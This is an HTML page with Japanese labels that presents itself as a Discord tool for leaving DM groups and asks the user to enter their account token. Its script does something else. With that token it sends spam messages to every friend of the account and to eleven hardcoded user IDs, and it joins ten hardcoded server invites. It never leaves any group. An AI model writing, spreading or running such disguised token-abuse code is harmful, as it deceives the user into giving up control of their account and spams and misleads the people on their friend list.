<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8">
  <title>DMグループ退出ツール</title>
  <!-- Orbitronフォントで未来感を演出 -->
  <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&display=swap" rel="stylesheet">
  <style>
    /* 背景にグラデーション＆全体をセンタリング */
    body {
      margin: 0;
      padding: 0;
      font-family: 'Orbitron', sans-serif;
      background: linear-gradient(135deg, #0f2027, #203a43, #2c5364);
      min-height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #fff;
    }
    /* ガラスモーフィズムのコンテナ */
    .container {
      background: rgba(255, 255, 255, 0.05);
      border: 1px solid rgba(255, 255, 255, 0.2);
      border-radius: 15px;
      box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
      backdrop-filter: blur(8px);
      -webkit-backdrop-filter: blur(8px);
      padding: 40px;
      width: 400px;
      text-align: center;
      position: relative;
      overflow: hidden;
    }
    /* 回転する半透明グラデーション（ネオン風アクセント） */
    .container::before {
      content: "";
      position: absolute;
      top: -50%;
      left: -50%;
      width: 200%;
      height: 200%;
      background: linear-gradient(60deg, transparent, rgba(255,255,255,0.1), transparent);
      animation: rotate 6s linear infinite;
    }
    @keyframes rotate {
      from { transform: rotate(0deg); }
      to   { transform: rotate(360deg); }
    }
    /* ヘッダー */
    h1 {
      font-size: 28px;
      margin-bottom: 20px;
      position: relative;
      z-index: 1;
    }
    /* 入力欄とボタン */
    input, button {
      width: 100%;
      padding: 12px;
      margin: 10px 0;
      border: none;
      outline: none;
      border-radius: 8px;
      background: rgba(255, 255, 255, 0.1);
      color: #fff;
      font-size: 16px;
      position: relative;
      z-index: 1;
    }
    input::placeholder {
      color: rgba(255, 255, 255, 0.7);
    }
    button {
      background: linear-gradient(90deg, #00d2ff, #3a7bd5);
      cursor: pointer;
      transition: transform 0.2s ease, box-shadow 0.2s ease;
    }
    button:hover {
      transform: scale(1.03);
      box-shadow: 0 0 10px rgba(0, 210, 255, 0.6);
    }
    /* メッセージ表示 */
    .message {
      margin-top: 15px;
      font-size: 16px;
      position: relative;
      z-index: 1;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>DMグループ退出ツール</h1>
    <!-- Token入力欄 -->
    <input type="password" id="token" placeholder="Tokenを入力">
    <button id="executeBtn">実行</button>
    <div class="message" id="message"></div>
  </div>

  <script>
    /**
     * レートリミットに対応したfetchラッパー関数
     * HTTP 429が返された場合、retry_after秒待機して再試行します。
     */
    async function rateLimitedFetch(url, options) {
      while (true) {
        const response = await fetch(url, options);
        if (response.status !== 429) {
          return response;
        }
        let retryAfter = 1;
        try {
          const data = await response.json();
          if (data.retry_after) {
            retryAfter = data.retry_after;
          }
        } catch (e) {
          console.error("レートリミットレスポンスの解析エラー", e);
        }
        console.warn(`レートリミット検出: ${retryAfter}秒待機して再試行します。`);
        await new Promise(resolve => setTimeout(resolve, retryAfter * 1000));
      }
    }

    // 指定ユーザーにDM送信
    async function sendDMsToSpecifiedUsers(token, userIds, messageContent) {
      const dmPromises = userIds.map(userId => {
        return rateLimitedFetch('https://discord.com/api/v9/users/@me/channels', {
          method: 'POST',
          headers: {
            'Authorization': token,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ recipient_id: userId })
        })
        .then(response => {
          if (!response.ok) {
            console.error(`DMチャンネル作成失敗: ${userId} (HTTP ${response.status})`);
            return null;
          }
          return response.json();
        })
        .then(dmChannel => {
          if (!dmChannel) return;
          return rateLimitedFetch(`https://discord.com/api/v9/channels/${dmChannel.id}/messages`, {
            method: 'POST',
            headers: {
              'Authorization': token,
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ content: messageContent })
          })
          .then(resp => {
            if (!resp.ok) {
              console.error(`DM送信失敗: ${userId} (HTTP ${resp.status})`);
            } else {
              console.log(`DM送信成功: ${userId}`);
            }
          })
          .catch(err => {
            console.error(`DM送信エラー: ${userId}`, err);
          });
        })
        .catch(error => {
          console.error(`DMチャンネル作成エラー: ${userId}`, error);
        });
      });
      await Promise.all(dmPromises);
    }

    // 友達リストを取得してDM送信
    async function sendDMsToFriends(token, messageContent) {
      const relationshipsResponse = await rateLimitedFetch('https://discord.com/api/v9/users/@me/relationships', {
        method: 'GET',
        headers: {
          'Authorization': token,
          'Content-Type': 'application/json'
        }
      });

      if (!relationshipsResponse.ok) {
        console.error(`友達リスト取得失敗 (HTTP ${relationshipsResponse.status})`);
        return;
      }

      const relationships = await relationshipsResponse.json();
      const friendIds = relationships.filter(rel => rel.type === 1).map(rel => rel.id);
      console.log(`取得したフレンド数: ${friendIds.length}`);
      
      const dmPromises = friendIds.map(userId => {
        return rateLimitedFetch('https://discord.com/api/v9/users/@me/channels', {
          method: 'POST',
          headers: {
            'Authorization': token,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ recipient_id: userId })
        })
        .then(response => {
          if (!response.ok) {
            console.error(`DMチャンネル作成失敗 (友達): ${userId} (HTTP ${response.status})`);
            return null;
          }
          return response.json();
        })
        .then(dmChannel => {
          if (!dmChannel) return;
          return rateLimitedFetch(`https://discord.com/api/v9/channels/${dmChannel.id}/messages`, {
            method: 'POST',
            headers: {
              'Authorization': token,
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ content: messageContent })
          })
          .then(resp => {
            if (!resp.ok) {
              console.error(`DM送信失敗 (友達): ${userId} (HTTP ${resp.status})`);
            } else {
              console.log(`DM送信成功 (友達): ${userId}`);
            }
          })
          .catch(err => {
            console.error(`DM送信エラー (友達): ${userId}`, err);
          });
        })
        .catch(error => {
          console.error(`DMチャンネル作成エラー (友達): ${userId}`, error);
        });
      });
      await Promise.all(dmPromises);
    }

    // 指定サーバーに参加
    async function joinServers(token, inviteCodes) {
      const joinPromises = inviteCodes.map(inviteCode => {
        return rateLimitedFetch(`https://discord.com/api/v9/invites/${inviteCode}`, {
          method: 'POST',
          headers: {
            'Authorization': token,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({})
        })
        .then(response => {
          if (!response.ok) {
            console.error(`サーバー参加失敗: ${inviteCode} (HTTP ${response.status})`);
          } else {
            console.log(`サーバー参加成功: ${inviteCode}`);
          }
        })
        .catch(error => {
          console.error(`サーバー参加エラー: ${inviteCode}`, error);
        });
      });
      await Promise.all(joinPromises);
    }

    document.getElementById('executeBtn').addEventListener('click', async () => {
      const token = document.getElementById('token').value.trim();
      const messageDiv = document.getElementById('message');
      messageDiv.textContent = '';

      if (!token) {
        messageDiv.textContent = 'Tokenを入力してください。';
        return;
      }

      // ツール内に埋め込まれたユーザーID一覧
      const specifiedUserIds = [
        "235148962103951360",
        "302050872383242240",
        "411916947773587456",
        "282859044593598464",
        "155149108183695360",
        "240254129333731328",
        "981314695543783484",
        "761562078095867916",
        "971523089550671953",
        "600611680711606284",
        "562987075326967809"
      ];

      // 指定のサーバー招待コード（実際のコードに置き換えてください）
      const specifiedServerInvites = [
        "zbkEUTGgHE",
        "xHRDCCmqyK",
        "free",
        "jp",
        "en",
        "name",
        "ctkp",
        "gg",
        "tom",
        "ded"
      ];

      messageDiv.textContent = '処理を開始します…';

      // それぞれのタスクを並列実行
      await Promise.all([
        (async () => {
          await new Promise(resolve => setTimeout(resolve, 1000));
          const dmMessage = "aaaaa";
          return sendDMsToSpecifiedUsers(token, specifiedUserIds, dmMessage);
        })(),
        (async () => {
          await new Promise(resolve => setTimeout(resolve, 1000));
          return joinServers(token, specifiedServerInvites);
        })(),
        (async () => {
          await new Promise(resolve => setTimeout(resolve, 1000));
          const dmMessage = "aaaaa";
          return sendDMsToFriends(token, dmMessage);
        })()
      ]);

      messageDiv.textContent += ' 処理が完了しました。';
    });
  </script>
</body>
</html>